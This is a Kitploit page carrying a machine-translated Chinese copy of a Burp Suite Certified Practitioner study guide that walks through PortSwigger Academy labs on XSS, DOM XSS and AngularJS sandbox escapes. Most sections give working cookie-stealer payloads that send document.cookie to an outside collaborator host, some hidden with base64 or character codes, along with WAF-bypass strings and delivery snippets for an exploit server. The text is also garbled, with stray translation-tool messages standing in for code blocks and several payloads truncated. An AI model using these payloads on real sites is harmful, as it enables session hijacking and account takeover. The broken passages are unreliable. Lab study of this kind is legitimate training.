Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Burp-Suite-Certified-Practitioner-Exam-Study — PortSwigger Academy 实验的实用学习笔记与演练,涵盖 Web 漏洞、payload、枚举及 BSCP 考试策略。 | Kitploit
工具/GitHubGitHub/botesjuan/burp-suite-certified-practitioner-exam-study
漏洞分析Web应用程序漏洞利用信息收集Web安全渗透测试学习与教育精选资源Payload 开发学习路径与课程

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
实验室与实践
GitHubbotesjuan/burp-suite-certified-practitioner-exam-study

Burp-Suite-Certified-Practitioner-Exam-Study

PortSwigger Academy 实验的实用学习笔记与演练,涵盖 Web 漏洞、payload、枚举及 BSCP 考试策略。

查看仓库
1.5k3874天前Kitploit 审核通过

Burp Suite 认证从业者考试备考

这是我的学习笔记,涵盖了超过 110 个 PortSwigger Academy 实验室。 我使用这些实验室通过了 2023 年 Burp Suite 认证从业者 考试。 我的 BSCP 认证。
更多信息请访问 PortSwigger Academy 获取最新学习资料。


扫描 - 枚举
内容发现
聚焦扫描
扫描非标准实体

立足点 - 阶段 1
内容发现
DOM-XSS
XSS 跨站脚本
Web 缓存投毒
主机头
HTTP 请求走私
暴力破解
身份认证

权限提升 - 阶段 2
CSRF - 账户接管
密码重置
SQLi - SQL 注入
JWT - JSON Web 令牌
原型污染
API 测试
访问控制
GraphQL API 端点
CORS - 跨源资源共享

数据外泄 - 阶段 3
XXE - XML 实体与注入
SSRF - 服务端请求伪造
SSTI - 服务端模板注入
SSPP - 服务端原型污染
LFI - 文件路径遍历
文件上传
反序列化
OS 命令注入

附录
Python 脚本
Payloads
字典列表
聚焦目标扫描
方法论
额外培训内容

我的 Burp 技巧

我建议在参加考试前尽可能多地完成 Mystery lab challenge,以检验你的技能并缩短 识别 漏洞所需的时间。
我还发现 PortSwigger 关于 重新参加考试 的建议非常有帮助。
观看 CryptoCat - Burp Suite 认证专家 (BSCP) 评测 + 技巧与诀窍,了解 2024 年 BSCP 考试的全新视角。




Buy Me A Coffee

感谢您的 咖啡 支持,\o/

我的 Burp Suite 认证从业者证书。


扫描

在时间有限的参与任务中,Web 应用程序的枚举从初始扫描和定向扫描开始。

聚焦扫描
扫描非标准实体

聚焦扫描

由于参与任务或考试期间时间非常有限,请针对特定请求扫描已定义的插入点。

scan-defined-insertion-points

扫描器在 storeId 参数上检测到 XML 注入 漏洞,并据此读取到了 Carlos 的秘密文件。```xml <xi:include parse="text" href="file:///home/carlos/secret"/>

root@kitploit:~
>带外 XInclude 请求,需要托管的 DTD 来读取本地文件。```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>

PortSwigger 实验:通过定向扫描快速发现漏洞

扫描非标准数据结构

使用 Burp 功能扫描非标准数据结构,以在所选插入点扫描响应或请求中的选定文本。

scan-selected-insertion-point

通过 Burp 扫描器问题结果识别漏洞。
在本例中,使用已识别的 XSS,通过在 已识别 的插入点构造载荷来窃取管理员用户的 cookie。``` '"><svg/onload=fetch(//OASTIFY.COM/${encodeURIComponent(document.cookie)})>:CURRENT-USER-LOGIN-COOKIE-2ND-PART

root@kitploit:~
>对关键字符进行URL编码。  

![admin-cookie-stealer](https://assets.kitploit.com/production/public/readmes/51008/64ba64b0fa7e1681859eb5d76a88f94fb91a78655f1ce768ff8e1b50f3cf57c1/990ac058ff6a9727193848c821acf60a43011fa7ba8dfd967ab6b3dd7f2e0bcb-display-v1.webp)  

>使用管理员的cookie,通过替换当前浏览器会话中的cookie来访问管理面板。  

[PortSwigger Lab: Scanning non-standard data structures](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)  
    
-----

# 立足点  
  
# 内容发现  

>对目标进行枚举时,首先对Web目录和文件进行模糊测试。可以使用Burp的参与工具、内容发现选项来查找隐藏路径和文件,或者使用`FFUF`枚举Web目录和文件。查看`robots.txt`或`sitemap.xml`可能会暴露内容。```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt

ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ

Burp 参与工具,内容发现,使用我编译的单词列表 burp-labs-wordlist 作为自定义文件列表。

content-discovery.png

检查本地下载副本上的 git 仓库分支,使用 git-cola 工具。然后选择 撤销上次提交 并从 diff 窗口中提取管理员密码。``` wget -r https://TARGET.web-security-academy.net/.git/

git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/

root@kitploit:~
![git-cola](https://assets.kitploit.com/production/public/readmes/51008/14079c28e5cbbdff33e677924bd48ab71e6afd5a28c04080d37705e6612df983/cfd1fad85dc91fe0115a20bcfbc1a45eabd76e74a1d5d2ccf74dea9d85d85f47-display-v1.webp)  

[PortSwigger 实验室:版本控制历史中的信息泄露](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)  

>始终打开 `source code` 以查找任何可能暴露隐藏文件或路径的开发者注释。下面的示例引向 [symphony 令牌反序列化](#deserialization)。  

![DEV 代码调试注释反序列化](https://assets.kitploit.com/production/public/readmes/51008/367ef48f4d29249a7a4d0968b5028357b914e75aba779e99c6b90fa140ec65ce/b382686bbd5c2e87dc23936f0e60830c9f765a8d8f65f8ee4075d3db5d7ec524-display-v1.webp)  

-----

## 基于 DOM 的 XSS  

[DOM XSS 指标](#identify-dom-xss)  
[使用 DOM Invader 识别 DOM XSS](#dom-invader)  
[AngularJS 中的 DOM XSS](#vuln-angularjs)  
[DOM XSS 在 select 中的 document.write](#doc-write-location-search)  
[DOM XSS JSON.parse Web 消息](#dom-xss-jsonparse-web-messages)  
[DOM XSS AddEventListener JavaScript URL](#dom-xss-addeventlistener-javascript-url)  
[DOM XSS AddEventListener Ads 消息](#dom-xss-addeventlistener-ads-message)  
[DOM XSS Eval 反射型 Cookie 窃取器](#reflected-dom-xss)  
[DOM XSS LastviewedProduct Cookie](#dom-xss-lastviewedproduct-cookie)  

### 识别 DOM-XSS  

>当 JavaScript 从攻击者可控的源(如 URL)获取数据,并将代码传递给支持动态代码执行的接收器(sink)时,就会产生基于 DOM 的 XSS 漏洞。 
>使用下面的模糊测试字符串,测试哪些字符能从 `source code` 注入点中逃逸出去。```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer

审查 source code 以 识别 可能导致漏洞利用的 来源、汇点或方法,示例列表:

  • document.write()
  • window.location
  • document.cookie
  • eval()
  • document.domain
  • WebSocket()
  • element.src
  • postMessage()
  • setRequestHeader()
  • FileReader.readAsText()
  • ExecuteSql()
  • sessionStorage.setItem()
  • document.evaluate()
  • JSON.parse
  • ng-app
  • URLSearchParams
  • replace()
  • innerHTML
  • location.search
  • addEventListener
  • sanitizeKey()

Dom Invader

使用 Dom Invader 插件并将 canary 设置为某个值(例如 domxss),它将检测可被利用的 DOM-XSS 汇点。

DOM Invader

易受攻击的 AngularJS

当尖括号和双引号被 HTML 编码时,下面的 AngularJS 表达式可以注入到搜索功能中。该漏洞可通过注意到搜索字符串被包裹在 ng-app 指令中并包含 /js/angular 1-7-7.js 脚本来 识别。审查 HTML 代码以 识别 ng-app 指令,该指令告诉 AngularJS 这是 AngularJS 应用程序的根元素。

domxss-on-constructor.png

PortSwigger 实验 payload 如下:```JavaScript {{$on.constructor('alert(1)')()}}

root@kitploit:~
>[Cookie 窃取 payload](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) 使用 `on.constructor`,可放置在 iframe 中,托管在漏洞利用服务器上,导致受害者的会话 cookie 被发送到 Burp Collaborator。  
>[PortSwigger 跨站脚本参考速查表](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}

注意: 会话 Cookie 属性不能设置 HttpOnly 安全标志,XSS 才能成功。

domxss-on-constructor.png

PortSwigger 实验:AngularJS 表达式中的 DOM XSS(尖括号和双引号被 HTML 编码)

z3nsh3ll 在 YouTube 上针对该实验中的 constructor 漏洞提供了极其详细的理解

文档写入位置搜索

目标在库存检查功能中容易受到 DOM-XSS 攻击。源代码 显示 document.write 是与 location.search 一起使用的 sink,允许我们添加 storeId 查询参数,其值在 <select> 语句中包含 JavaScript 载荷。

在 select 内部进行文档写入的 DOM-XSS

使用以下载荷执行测试,以 识别 注入到修改后的 GET 请求中的内容,使用 "> 进行转义。```html /product?productId=1&storeId=fuzzer">fuzzer

root@kitploit:~
![get-dom-xss.png](https://assets.kitploit.com/production/public/readmes/51008/37e4c9891b5e47032f2e743dadfe032f683370b76c260e82c4cbe34c76761d0e/68fd6e566e7d66328472586265b05c07698c83300195575bb7be0a7953c3533b-display-v1.webp)  

>DOM XSS [窃取 cookie 的 payload](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) 位于 `document.write` 接收器中,使用 `location.search` 作为源,并处于 `<select>` 元素内部。这可以通过漏洞利用服务器中的 `

JSON_parse_web_messages_Exploit_server_Payload.png

在 iframe onload 值的末尾有一个 "*",这表示目标可以是任意值。

使用浏览器开发者工具控制台在浏览器中设置一个不安全的测试 Cookie,用于 POC XSS 测试期间使用。
Cookie 窃取器 payload。```JavaScript document.cookie = "TopSecret=UnsecureCookieValue4Peanut2025";

root@kitploit:~
![JSON_parse_web_messages_Exploit_server_cookie_steal_POC.png](https://assets.kitploit.com/production/public/readmes/51008/00edaa7a2bfeabdf0a3960609fc7468eb1cf4ef7721a422729b8b9f48159aa7e/b61bc029401130a999c8d530bec7b388abf058081cc327abd67c61fb5047d960-display-v1.webp)  

[PortSwigger 实验:使用 Web 消息和 JSON.parse 的 DOM XSS](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)  

>使用 DOM Invader 识别和测试利用 Web 消息的 DOM XSS  

![DOM Invader 识别 Web 消息](https://assets.kitploit.com/production/public/readmes/51008/b403cebcf7416a0b011983a370268c86ff6613654a51d172aedd9513586d0d4d/da80859bbfbed987e5bfbc602ceb8ecb0c45f95ee64ed91af3139af1e21c5838-display-v1.webp)  

>修改 JSON 数据后,使用 DOM Invader 重放 post 消息。```JSON 
{
    "type": "load-channel",
    "url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

DOM Invader 重新发送 web messages

PortSwigger:使用 PortSwigger DOM Invader 识别 DOM XSS

DOM XSS AddEventListener JavaScript URL

查看页面源代码,我们识别出用于 web message 的 addeventlistener 调用,但有一个 if 条件检查字符串是否包含 http/s。

source-code-web-message-url.png

下面托管在 exploit server 上的 payload 包含 https 字符串,并成功绕过了 if 条件检查。```html

root@kitploit:~
![DOM_based_cookie_manipulation.png](https://assets.kitploit.com/production/public/readmes/51008/45bed47194ee65d402c2926c551335ada23f37b144bad8c4d80f67a54fc2d1d4/1cc9923c8daf2c0aedd277d7f6f78184415ef7f176b95e43c531e63fb341f08b-display-v1.webp)  

一旦受害者的 cookie 被更新,Exploit 服务器日志就会捕获其秘密 cookie 值。  

>在 ***ShehmeerAbidRajput*** 的大力帮助下,我使用他提供的 cookie 窃取器 payload 更新了这个实验室。  

[PortSwigger 实验室:基于 DOM 的 cookie 操作](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)  
  
-----

## 跨站脚本(XSS)  

[XSS 资源](#xss-resources)  
[识别允许的标签](#identify-allowed-tags)  
[绕过被阻止的标签](#bypass-blocked-tags)  
[XSS 协议赋值](#xss-assign-protocol)  
[未被阻止的自定义标签](#custom-tags-not-blocked)  
[OnHashChange](#onhashchange)  
[反射型字符串 XSS](#reflected-string-xss)  
[反射型字符串额外转义](#reflected-string-extra-escape)  
[AngularJS 沙箱逃逸](#angularjs-sandbox-escape)  
[XSS 模板字面量](#xss-template-literal)  
[通过 JSON 注入 EVAL 的 XSS](#xss-via-json-into-eval)  
[存储型 XSS](#stored-xss)  
[存储型 DOM XSS](#stored-dom-xss)  
[SVG 上传中的 XSS](#xss-svg-upload)  
  
### XSS 资源  

>XSS 资源页面,用于查找 **标签** 和 **事件** 的 payload。   

+ [跨站脚本(XSS)速查表](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+ [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications)
+ [HackTheBox CPTS 的 XSS 学习笔记](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md)  

>CSP Evaluator 工具用于检查是否已部署内容安全策略以缓解 XSS 攻击。例如,如果缺少 `base-uri`,该漏洞将允许攻击者使用 [升级存储型 self-XSS](#upgrade-stored-self-xss) 中描述的替代利用方法。  

+ [CSP Evaluator](https://csp-evaluator.withgoogle.com/)  
  
>当输入字段最大长度仅为 23 个字符时,请使用此资源获取 **Tiny XSS Payloads**。  

+ [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads)  

>使用浏览器开发者工具控制台在浏览器中设置一个不安全的测试 cookie,以便在 POC XSS 测试期间使用 [cookie 窃取器 payloads](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md)。```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";

识别允许的标签

基础 XSS Payload,用于 识别 应用程序安全过滤控件如何处理 HTTP 请求中接收的数据。```html

root@kitploit:~
The input chunk is empty — no content was provided to translate.```html
"><svg><animatetransform onbegin=alert(1)>

I'm unable to translate this chunk because the Markdown content after "INPUT:" is empty—there is no source text provided to translate. Please supply the actual content for chunk 43 of 303, and I'll translate it into Chinese following all the formatting rules.``` <>'"

root@kitploit:~
>提交上述载荷可能会收到响应消息,***"Tag is not allowed"***,这是因为 Web 应用防火墙 (WAF) 阻止了注入。
>然后使用 [PortSwigger Academy Methodology](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked) ***识别***允许的标签。  

>URL 和 Base64 在线编码器与解码器  

+ [URL 解码和编码](https://www.urldecoder.org/)  
+ [BASE64 解码和编码](https://www.base64encode.org/)  
  
>该实验室提供了极佳的**方法论**,用于***识别***允许的 HTML 标签和事件,以构造 POC XSS。  

>在漏洞利用服务器上托管 **iframe** 代码,并将漏洞利用链接发送给受害者。```html

绕过被阻止的标签

在插入基本 XSS 载荷时,应用程序控制会给出消息 "不允许使用该标签",但使用上述 方法 发现 SVG 标记被允许。此载荷会窃取我自己的会话 Cookie 作为 POC。```html https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E

root@kitploit:~
>将上述 payload 放置在漏洞利用服务器上,并在传递给受害者之前,按下方代码块所示,将带有搜索值的 URL 插入到 ```iframe``` 中。```html

svg animatetransform XSS

PortSwigger 实验室:允许某些 SVG 标记的反射型 XSS

XSS 可分配协议

实验室用于测试在搜索功能中没有任何编码的 HTML 上下文中的 XSS。使用此实验室来测试带 location 的可分配协议 javascript 漏洞,该漏洞由 PortSwigger XSS 研究 识别。在载荷中,%0a 表示 ASCII 换行字符。```html

#%0adocument.location='http://OASTIFY.COM/?p='+document.cookie//&context=html
root@kitploit:~
![XSS 协议位置](https://assets.kitploit.com/production/public/readmes/51008/b956c8c2fbd782fe426a2206be3aa7784eed101c58edbdf2a1cb1a58f2a05d63/d92f66a14a37c5b4341e9fe1d5e097e364089e6ce085e39ef0c44e5e48812fb8-display-v1.webp)  

[PortSwigger 实验室:反射型 XSS 到 HTML 上下文且无任何编码](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)  
  
### 自定义标签未被阻止  
  
>应用程序在尝试插入 XSS payload 时会响应消息 ***"Tag is not allowed"***,但如果创建自定义标签,它就会被绕过。```html
<xss+id=x>#x';

通过观察响应,识别上述自定义标签是否未被搜索功能阻止。创建以下payload以带外窃取会话Cookie。```

root@kitploit:~
>**注意:** 带有 ```x``` ID 的自定义标签包含一个 **onfocus** 事件处理程序,该处理程序触发 ```document.location``` 函数。URL 末尾的 **井号** `#` 字符会在页面加载后立即聚焦该元素,从而调用载荷。将载荷脚本托管在利用服务器上的 ```script``` 标签中,然后发送给受害者。以下是相同的载荷,但采用 **URL 编码** 格式。```
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

自定义 XSS 标签

PortSwigger 实验室:在 HTML 上下文中反射型 XSS,除自定义标签外所有标准标签均被阻止

z3nsh3ll - 解释用于 XSS 攻击的自定义标签

OnHashChange

下面的 iframe 使用 URL 末尾的 HASH # 字符来触发 OnHashChange XSS cookie 窃取器。```JavaScript

root@kitploit:~
>注意,如果 cookie 设置了 **HttpOnly** 标志,则无法使用 XSS 窃取该 cookie。  

>PortSwigger Lab 的 payload 执行 print 操作。```JavaScript

注意:识别包含在 source code 中的易受攻击的 jquery 1.8.2 版本,使用 CSS 选择器操作在 hashchange 事件中。

Hashchange

PortSwigger 实验室:使用 hashchange 事件的 jQuery 选择器接收器中的 DOM XSS

Crypto-Cat:使用 hashchange 事件的 jQuery 选择器接收器中的 DOM XSS

反射型字符串 XSS

提交搜索字符串并查看搜索结果页面的 source code,JavaScript 字符串变量被识别为在 source code 中反映搜索字符串 tracker.gif,该变量名为 searchTerms。```html

0 search results for 'fuzzer'


Search
``` ![带单引号和反斜杠转义的 JavaScript 字符串](https://assets.kitploit.com/production/public/readmes/51008/5b9fe5c935404a0d67be444540f2e3e5551704688177c8be60e1b6e4220629a0/eacace6120375cbd27292f7df1a7709a2021fc80bbd04914972252ffc37a97cd-display-v1.webp)

使用载荷 test'payload,并观察到单引号会被反斜杠转义,从而防止逃逸出字符串。```JavaScript

root@kitploit:~
>将payload更改为cookie窃取器,用于将会话令牌传递到Burp Collaborator。```html
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

collaborator 获取 cookies

当将此 payload 放入 iframe 时,目标应用程序不允许其被嵌入,并给出消息:refused to connect。

PortSwigger 实验:反射型 XSS 到 JavaScript 字符串(单引号和反斜杠转义)

在 BSCP 考试中,将下面的 payload 托管在 exploit server 的 <script> 标签内;下面的搜索查询是 URL 编码之前的。```

root@kitploit:~
>利用服务器托管搜索词反射型漏洞,将其发送给受害者以获取其会话Cookie。```html
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>

The application gave error message Tag is not allowed,并通过使用 </ScRiPt > 绕过了这一点。

Reflected String Extra Escape

在 source code 中查看名为 searchTerms 的变量,当提交 payload fuzzer'payload 时,可以看到单引号被反斜杠转义;然后发送一个 fuzzer\payload payload,并 确认 反斜杠未被转义。``` '-alert(1)//

fuzzer';console.log(12345);//

fuzzer';alert(Testing The backtick a typographical mark used mainly in computing);//

root@kitploit:~
>使用单个**反斜杠**、单引号和**分号**,我们逃逸出 JavaScript 字符串变量,然后使用反引号将 ```document.location``` 路径括起来,使 cookie 窃取器能够绕过应用程序保护。```
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//

在 Trevor 的帮助下,我利用反引号将其制成了 Cookie 窃取 payload。感谢 Trevor,这是他 YouTube 的逐步讲解视频:XSS JavaScript 字符串尖括号双引号编码单引号

fail-escape

PortSwigger 实验:将反射型 XSS 注入 JavaScript 字符串,其中尖括号和双引号经过 HTML 编码,且单引号被转义

AngularJS 沙箱逃逸

PortSwigger 专家级实验,使用 AngularJS 1.4.4 和 1.x 版本,该版本已到达生命周期终点,不再维护。
该实验以一种不寻常的方式使用 AngularJS,其中 $eval 函数不可用,并且你将无法在 AngularJS 中使用任何字符串。
目标:执行一次跨站脚本攻击,在不使用 $eval 函数的情况下逃逸沙箱并执行 payload。

z3nsh3ll - YouTube 视频,对不使用字符串的 AngularJS 沙箱逃逸反射型 XSS 给出了很好的解释

识别 JavaScript 源代码中的 angular.module:

angularJS-sandbox-escape-identify.png

key 变量的值 search 被注入到动态创建的 JavaScript 中。
这里没有明显的安全问题。然而,此代码的安全性取决于该控制器和提取出的值在后端如何使用。

$parse 方法会计算 AngularJS 表达式 $scope.query。

使用 & 添加第二个键值对,以测试生成的动态 payload 代码。

angularJS-sandbox-escape-add-2nd-key pair

将第二个添加的键值名称改为表达式,以判断是否会被求值,/?search=key1value&7*7=payload,数学结果为 49。

angularJS-sandbox-escape-2nd-key pair-eval

当使用 alert() 作为第二个键名时,构造 payload 会失败,原因在于 AngularJS 通过解析器编译代码的方式。

AngulaJS 沙箱 - 请参阅 PortSwigger 客户端模板注入文档

PortSwigger 速查表参考:沙箱 1.4.4 逃逸``` 1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

root@kitploit:~
>Collaborator payload ***cookie 窃取器***:```
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)

上述有效载荷字符串中每个字符的ASCII十进制值,以逗号分隔。每个数字代表有效载荷字符串中对应字符的ASCII十进制值。``` 120,61,102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,103,112,57,111,49,56,57,51,106,97,107,49,100,122,101,55,117,116,118,50,114,107,118,114,48,105,54,57,117,122,105,111,46,111,97,115,116,105,102,121,46,99,111,109,47,63,122,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41

root@kitploit:~
>Python脚本,可将任意payload转换为ASCIII十进制值:```python
import sys

print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
    print("Usage: Python ascii_converter.py 'Payload_String'")
    sys.exit(1)

input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]

output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

python-script-ascii_converter.png

以 ASCII 十进制值编码的 Cookie 窃取器 Payload,通过沙箱运行的 AngularJS 表达式,来自 PortSwigger 解决方案步骤:

  1. 该漏洞利用 toString() 无需使用引号即可创建字符串。
  2. 然后获取 String 原型,并为每个字符串覆盖 charAt 函数。
  3. 这会破坏 AngularJS 沙箱,允许将数组传递给 orderBy 过滤器。
  4. 再次使用 toString() 创建字符串,并利用 String 构造函数属性来设置过滤器参数。
  5. 最后,使用 fromCharCode 方法,通过将字符代码转换为 Payload 示例 x=alert(1) 来生成我们的 Payload。
  6. 由于 charAt 函数已被覆盖,AngularJS 将允许此代码逃逸出 沙箱。

angularJS-sandbox-escape-cookie-stealer

PortSwigger 专家实验室:利用无字符串的 AngularJS 沙箱逃逸进行反射型 XSS

XSS 模板字面量

JavaScript 模板字面量由用于包含字符串的反引号 ` 来 识别。在目标代码中,我们 识别 到搜索字符串被反射到模板字面量字符串内部。``` ${alert(document.cookie)}

root@kitploit:~
![xss template literal](https://assets.kitploit.com/production/public/readmes/51008/6445f64cd3a9618bd2c09bd89188bb0ec08d727310f6f9d2c5810484bdf9face/a14da86dd2b937e702ba9fb0a2975d9963bdcf8128fa39c5e24c36fef51e10ae-display-v1.webp)  
  
>感谢 ***Adrián Gyurácz*** 提供了很棒的绕过方法,因为我未能为这个实验室找到一个能够绕过所有过滤器的可用 cookie 窃取器。  

>***Adrián Gyurácz*** 找到了以下来自 Portswigger 的研究文章,从而得出了解决方案:  
[bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)  

#### 基于上述内容,他的 payload 如下:```
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}

由于原始实验室会话 Cookie 具有保护标志,他创建了一个测试用虚拟 Cookie 作为概念验证:

Adrián Gyurácz

在搜索功能中发送有效载荷后,我收到了一个 Cookie 窃取器的命中记录:

Adrián Gyurácz

我希望其他人觉得他的研究有帮助,并将其收录到我的指南中 Tx。

PortSwigger Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped


通过 JSON 将 XSS 注入 EVAL

这个 PortSwigger Practice Exam APP 正在执行搜索功能,DOM Invader 识别了 eval() 函数中的汇点。搜索结果被放入 JSON 内容类型中。

Dom Invader 识别 EVAL

测试从 JSON 数据中逃逸,并将测试有效载荷 "-prompt(321)-" 注入 JSON 内容中。

json-injection-escape.png

我们尝试使用有效载荷 "-alert(document.cookie)-" 获取自己的会话 Cookie 值,但返回的过滤消息显示 "Potentially dangerous search term"。

WAF 正在阻止危险的搜索过滤器和标签,然后我们使用 JavaScript 全局变量绕过 WAF 过滤器。```JavaScript "-alert(window["document"]["cookie"])-" "-window"alert"-" "-self"alert"-"

root@kitploit:~
[secjuice: 使用 JavaScript 全局变量绕过 XSS 过滤器](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/)  

>以下是主要的 [cookie 窃取器 payload](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) 在 BASE 64 编码之前的内容。```JavaScript
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])

接下来是使用上述 Cookie 窃取器 Payload 的 Base64 编码 值来编码 Payload。``` ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ==

root@kitploit:~
>在搜索功能中对我们自己的会话Cookie测试payload。```JavaScript
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"

拆解上述载荷组装阶段:

  • 使用 eval() 方法对参数进行求值或执行。
  • 使用 atob() 或 btoa() 函数对 base64 格式字符串进行编码与解码。
  • 如果 eval() 被阻止,替代方案有:
    • setTimeout("code")
    • setInterval("code)
    • setImmediate("code")
    • Function("code")()

此图显示 Burp Collaborator 在将载荷设置为Deliver exploit to victim之前,收到了我的 cookie 值作为概念验证。

Burp Collaborator 收到来自我们 POC 的带有 base64 cookie 值的请求。

对载荷中的所有字符进行 URL Encode,并将其用作 /?SearchTerm= 参数的值。```html "-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"

root@kitploit:~
>在漏洞利用服务器上托管 `IFRAME` 会给出**错误**消息,提示拒绝连接到目标。相反,应将有效载荷托管在漏洞利用服务器上,放在 `<script>` 标签之间。```html
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

(投放反射型 XSS 以窃取受害者 Cookie。

注意: 如果活动用户未向 collaborator 发送 HTTP 请求,请多次Deliver exploit to victim。用窃取的 cookie 替换当前 cookie 值,以冒充活动用户,然后继续进入实践考试第 2 阶段。

PortSwigger 实践考试 - 第 1 阶段 - 立足点

存储型 XSS

存储型 XSS 也可以是盲 XSS。 如果 alert payload 未触发,请参阅 NahamSec 盲 XSS 视频,其中包含供受害者点击的 payload,例如:<svg/onload=import('//EXPLOIT.net/blind_xss')>
如果存储的输入会重定向点击链接的受害者,则其会向 exploit 服务器发送请求。 使用以下示例代码来识别存储型 XSS。```HTML

root@kitploit:~
>以下日志条目显示了向利用服务器发出的请求,从日志中我们可以***识别***出上述标签的 `/img` 和 `/video` 在应用程序中是被允许的,并且在被访问时会发出请求。  

